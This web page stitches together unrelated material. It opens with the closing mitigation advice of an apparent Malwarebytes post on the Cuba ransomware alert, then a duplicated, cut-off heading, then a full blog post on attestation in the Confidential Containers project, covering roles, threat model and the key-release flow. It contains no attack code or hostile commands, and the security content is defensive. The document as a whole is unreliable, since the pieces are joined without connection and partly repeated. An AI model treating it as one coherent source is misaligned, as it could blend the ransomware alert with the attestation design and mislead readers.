*   Enable multi-factor authentication (MFA) on all accounts, especially those that access critical systems.
*   Ensure all software you use are updated to their latest versions and fully patched.
*   Audit accounts, paying particular attention to those with administrator privileges, and configure control accordingly.

You can read the complete and detailed list of recommended mitigations on this page. Various IOCs (associated files, email addresses, a Jabber address, IP addresses, Bitcoin wallets, and ransom notes) and MITRE ATT&CK techniques are also found on that page.

**We don't just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

CISA and the FBI issue alert about Cuba ransomware

<h2>Introduction to attestation</h2>

Attestation is a confidential computing keystone. With attestation, workload owners can fully assert the trustworthiness of the hardware and software

**Introduction to attestation**

Attestation is a confidential computing keystone. With attestation, workload owners can fully assert the trustworthiness of the hardware and software environment their workload is running in, regardless of the security posture of the underlying infrastructure provider. 

This article describes the hardware-based attestation flows and processes that the Confidential Containers project is built upon. With hardware-based attestation, a confidential computing processor generates cryptographic evidence for a workload-running environment. Provided that the workload owner trusts that piece of hardware, they can then remotely verify that evidence and decide if the workload’s execution environment is trustworthy or not. If it is, the owner can then provision it with a set of secrets ( e.g. container image encryption keys), effectively permitting it to run the workload.   

**The Background-Check” model**

The Confidential Containers (CoCo) project follows the IETF Remote Attestation Procedures (RATS) “background check” model as shown in the diagram below:

_Source: https://ietf-rats-wg.github.io/architecture/draft-ietf-rats-architecture.html_

The following are the key roles in the attestation process:

**Attester**

The Attester is the entity that aims at being attested by an external, trusted service called the **Relying Party**. This is in order to be provisioned back with a secret (e.g. an encryption key from Key Management Service) that's only released to trustworthy entities. In practice, an Attester is usually a piece of software running on a device, in a virtual machine or, more generally, in a cloud workload environment. 

Attesters inform the Relying Party of the state of the system they're running on by sending **an Evidence**. The Evidence informs the Relying Party about the state of the system, the Trusted Computing Base (the part of hardware, firmware and software that is trusted) and other aspects of the system. It comprises a set of claims, later asserted or denied by the **Verifier**. The Evidence is cryptographically signed with a key (e.g., from the silicon vendor) used during the verification process.

The Confidential Containers Attester is implemented via the attestation agent project.

**Relying Party (Key Broker Service)**

The Relying Party is usually made of a set of trusted services that run outside of the trusted execution environment, either on the same cluster (for local Attestation) or on a different, physically separated infrastructure (for remote Attestation). Its main role is to provision the Attester with some secret (an encryption key, a token, a passphrase, etc.) after assessing the Attester's trustworthiness. This is achieved by verifying cryptographically signed Evidence of the Attester's security posture (generally including its Trusted Computing Base (TCB) measurements, configuration, software versions, etc.). 

More formally, the Relying Party's primary functions are:

*   Receive Evidences from **Attesters** (confidential virtual machine (VM) or container) via a challenge-response protocol
*   Relay the Evidences to an **Attestation Service** (including a Verifier) for verification. The Attestation Service returns Attestation Results back to the relying party
*   Apply appraisal policies to the Attestation Results in order to assess the trustworthiness of the Attester. An appraisal policy is defined as a set of constraints to apply the Attestation Results or to an Evidence. Examples of such constraints include checking for equality with Reference Values or membership in a set of Reference Values
*   Upon successfully verifying the Attester’s trustworthiness, interact with the **Key Management Service** to retrieve secrets and send them to the Attester

The Confidential Containers project defines a Relying Party protocol and API through the Key Broker Service (KBS) project. The reference-kbs is a reference implementation for that protocol. 

**Verifier (Attestation service)**

The Attestation service verifies the Evidence based on configured policy and reference values. Think of reference values as "good" and "trusted" values, which are known beforehand and used to verify the Evidence sent by the Attester. These reference values are typically generated when building the system software and firmware layers through a coupled CI/CD pipeline.

This is implemented by the Attestation Service project under the Confidential Containers umbrella.

**Key Management Service**

A security-focused service for storing, managing and backing up cryptographic keys used by applications and users. Usually, the secrets that are sent to the **Attester** on successful attestation are stored in the **Key Management Service** (KMS).

**Confidential Containers Attestation**

Although the Confidential Containers software architecture follows the above-described attestation general principles, it does so in a particular software context: Kubernetes and the cloud-native ecosystem. 

The following sections will first go through the threat model to fully understand the specifics and rationale behind the Confidential Containers attestation flow. Highlighting the security threats the project aims to mitigate will make its architecture and implementation easier to grasp and understand.

**Threat model**

The Confidential Containers attestation flow aims at protecting Kubernetes-specific assets from threat agents.

**Agents**

In a typical Kubernetes context, the infrastructure provider (such as a public cloud provider) is not considered a threat agent. It is a trusted actor of a Kubernetes deployment.

In a confidential computing context, that assumption no longer applies and the infrastructure provider is a potential threat agent. Confidential Computing in general, and Confidential Containers in particular, try to protect Kubernetes workload owners from the infrastructure provider. Any software component that belongs to the infrastructure (e.g. the Kubernetes control plane) is untrusted.

**Assets**

The main asset the Confidential Containers project protects is the Kubernetes workload itself, i.e.

*   The Kubernetes pod container images
*   The data generated and potentially stored by the pod at runtime, running from its container images

**Threat vectors**

On top of the generic Confidential Computing threat vectors, the CoCo threat model defines a few Kubernetes-specific ways the above-described assets can be compromised:

1.  The infrastructure provider tampers with or reads the **Kubernetes pod container images** when they’re either pulled or stored
2.  The infrastructure provider tampers with or reads the **Kubernetes pod memory** while in use
3.  The infrastructure provider tampers with or reads **data stored** (ephemerally or not) by the Kubernetes pod

**Mitigations**

As CoCo aims at protecting the Kubernetes workload from the infrastructure owner, its threat model imposes a fundamental architectural shift compared to traditional Kubernetes deployments. Relating to the previous threat vectors, let’s discuss how they are addressed. 

With Confidential Containers, the pod container images are no longer controlled by the infrastructure owner and must be signed or encrypted. In other words, the infrastructure owner must not pull, store and manage the container images. The workload itself must be able to pull, decrypt or verify, and store (ephemerally or not) container images. Having the encrypted or signed images stored in confidential memory or storage guarantees that the infrastructure owner can never access them, including while they are being pulled from container registries through the infrastructure provider networking fabric. This addresses threat vector #1. 

Additionally, the CoCo threat model requires that the workload runs exclusively in confidential memory, which provides a hardware guarantee against the infrastructure provider tampering with Kubernetes pods' memory. This addresses threat vector #2. 

Finally, Confidential Containers implements trusted storage, where Kubernetes pod’s volumes must be encrypted and integrity protected. Confidential Containers will not mount or create Kubernetes volumes that are not protected with attestation injected secrets, effectively preventing infrastructure providers from tampering with workload owners' stored data. This addresses threat vector #3. 

**Architecture and flow**

The CoCo attestation architecture’s main objective is to allow for implementing the threat mitigations described in the previous section.

The key requirement for those mitigations is the ability for the CoCo guest to pull, decrypt, unpack and store the container images that comprise the Kubernetes pod. From this requirement, we can derive a set of mandatory attestation attributes for CoCo:

*   The CoCo guest image is trusted, measured and must be attested
*   The trusted guest image pulls and stores encrypted or signed container images
*   The container images are not measured nor attested (see the next section for details)

Given that the main asset CoCo is protecting from the infrastructure owner is the Kubernetes pod and its container images, **why are they not measured and attested**? There are two main issues with measuring the container images:

1.  Measuring a multi-gigabyte container image can be CPU-intensive and significantly increase the pod startup time 
2.  Adding all container image measurements to the Attestation Evidence means they must effectively be part of the CoCo guest stack loaded at pod startup time. This model's lack of flexibility (One virtual machine image per Pod) makes it a cloud-native anti-pattern 

This is where the power of hardware-based, remote attestation comes into play, as it allows for building a much more dynamic model.

Although container images are not measured, they are encrypted, or at least signed, by an entity that the workload owner trusts. That entity could be either the workload owner itself or an entity that the owner trusts with safely building, signing and encrypting its container images.

The CoCo guest will then use remote attestation to decrypt the container images. It will initiate the remote attestation process before trying to pull any of the container images, asking for keys bound to those images. Upon attestation success, the Relying Party will provision the CoCo guest with those keys, allowing the former to pull and either decrypt or verify the container images.

Because the CoCo attestation architecture requires the container images to be signed or encrypted, the workload owner does not have to trust the infrastructure networking fabric or the container image registries from which the container images are downloaded.

Finally, and most importantly, as the workload owner can attest to the CoCo guest's trustworthiness before releasing the container images encryption keys, it knows that the infrastructure provider cannot see or tamper with its workload.

In summary, the CoCo attestation architecture can be defined through a few key points:

*   The guest image and configuration are the only measured and attested parts of the CoCo stack. Container images are neither measured nor attested
*   At runtime, the guest will use remote attestation to get a set of decryption keys for the container images from a Relying Party
*   By letting an attested CoCo guest decrypt and verify the Kubernetes pod container images with keys received from a Relying Party, the workload owner no longer has to trust the infrastructure provider
*   Encrypted or signed images are protected from the infrastructure provider or the container image registries trying to read or tamper with the workload

The following section will describe how the Confidential Containers project implements this attestation architecture.

**Implementation**

The Confidential Containers project integrates several open-source software components into a measured software stack that constitutes the Confidential Containers guest. This guest stack runs in a hardware-virtualized environment controlled and managed by the Kata Containers container runtime. This runtime creates and assigns Kubernetes pods to their dedicated virtual machine where the pod workload will eventually run. The CoCo guest is defined as the set of trusted components that boot and run the Kata Containers virtual machine, from the guest firmware to the attestation and Kata agents. It will pull and decrypt container images from the virtual machine itself, unlike non-confidential Kata Containers guests who receive the pod images from the untrusted host.

The Confidential Computing hardware (A CPU or a System-on-Chip) measures all the CoCo guest components and state when it loads them, and adds those measurements to any Attestation Evidence that it may generate. It is important to note that:

1.  As integral parts of the workload’s trusted domain, all the CoCo guest components are verified by the Kubernetes workload owner through the attestation process.
2.  The container images themselves are not measured and are not included in the Attestation Evidence.

Some of the Confidential Containers components are developed and maintained through the project's github organization, while others are external components. The components that implement the Confidential Containers attestation flows are:

*   The attestation-agent is the main attestation component for the Confidential Containers project. It is responsible for initiating and running the attestation process in order to eventually receive a container image encryption key from a relying party, i.e. from the workload owner. The attestation-agent follows a modular architecture that allows for supporting multiple attestation protocols. Each attestation module implements the Key Broker Client (KBC) interface to support a different Key Broker Service (KBS) protocol
*   The image-rs container image management library is used by the Kata Containers agent to pull, unpack and verify or decrypt container images within the CoCo guest. To decrypt or verify a container image, the image-rs library relies on the ocicrypt-rs library 
*   The ocicrypt-rs library implements the OCI container image encryption specification and is used by image-rs to decrypt and verify a pulled container image. In order to do so, ocicrypt-rs use the above-described attestation agent as a key provider. The latter runs the attestation flow to eventually receive a container image decryption key that will be consumed by ocicrypt-rs

The following diagram describes how the attestation components fit into the overall CoCo architecture:

_Source: https://github.com/confidential-containers/documentation/blob/main/architecture.md_

The red connectors in this diagram describe the CoCo attestation flow:

1.  **The Confidential Containers runtime (i.e. Kata Containers)** on the host initializes and starts the virtual machine 
2.  **The enclave software stack (i.e. the CoCo guest stack)** boots the virtual machine
3.  For each container composing the pod, **the enclave agent (i.e. the Kata Containers agent)** pulls the container image manifest by calling into the image-rs API
4.  Before pulling the container images, image-rs parses the image manifest to understand which image layers are encrypted
5.  For each layer that is to be decrypted, image-rs calls into ocicrypt-rs in order to get the associated decryption key 
6.  ocicrypt-rs calls into the attestation-agent API in order to get the decryption key for that layer. The attestation agent is ocicrypt-rs’s key provider
7.  The attestation agent sends a request for the decryption key to the workload’s owner, a.k.a the Relying Party (Key Broker Service). This is the initial step of the remote attestation procedure
8.  The Relying Party replies by sending an Attestation Challenge back to the attestation agent
9.  The attestation agent replies to that Challenge with an Attestation Evidence for the CoCo guest TCB. The evidence includes all of the CoCo guest components and states, and is signed by the Confidential Computing hardware. This is **step 1** on the above diagram (red arrows)
10.  The Relying Party forwards the Evidence to the Attestation Service, which performs the Evidence verification. This is **step 2** on the diagram
11.  The Attestation Service sends the Attestation results back to the Relying Party. If those results show a successfully verified Attestation Evidence, the Relying Party is authorized to get the decryption keys from the Key Management Service (**step 3**)
12.  The Relying Party Response to the attestation agent challenge includes the container image decryption keys. The keys are wrapped, i.e. they’re encrypted with a confidential computing backed public key (**step 4**)
13.  Now that it has all the needed decryption keys, the attestation agent pulls the container images. This is **step 5** on the above diagram
14.  After pulling all images, the attestation agent calls into the image-rs and ocicrypt-rs APIs to decrypt and then unpack the container images in the enclave (**step 6**)
15.  The attestation agent starts and runs the Kubernetes pod workload, from the container images that it pulled, decrypted and unpacked through the previous steps

**Putting it all together **

Let’s now take a working example of using an encrypted container image and see how the different components previously described fit together.

Note that the process of creating an encrypted container image is outside of the CoCo workflow today. The CoCo stack is focused on deploying and running the encrypted image. Please refer to the following external blog for details on encrypted container images.

When you create a Kubernetes POD with an encrypted container image, the components described under the **Decryption** box (right pink block) get used as following: 

1.  The Kata containers runtime spins up a **confidential VM** (the overall block)
2.  The image-rs component of kata-agent uses the **Attestation Agent** to start the attestation process 
3.  This will kickstart the attestation process by sending the evidence to the **Key Broker Service (KBS)** - the relying party 
4.  The KBS uses the verifier service to verify the evidence and on success gets the required secrets from the **Key Management Service (KMS)** and provides it to the Attestation Agent
5.  The image-rs component then uses the secret to decrypt the image and start the container

**Summary**

In this blog, we discussed Attestation, an essential aspect of Confidential Computing, in the context of the CNCF Confidential Containers project.

We introduced the confidential containers threat model and looked at the Attestation workflow, including the implementation details.

In future blogs, we will touch upon Attestation examples from different confidential containers environments. We will also dive into the detailed implementation of the different components mentioned here.

Tag

#mac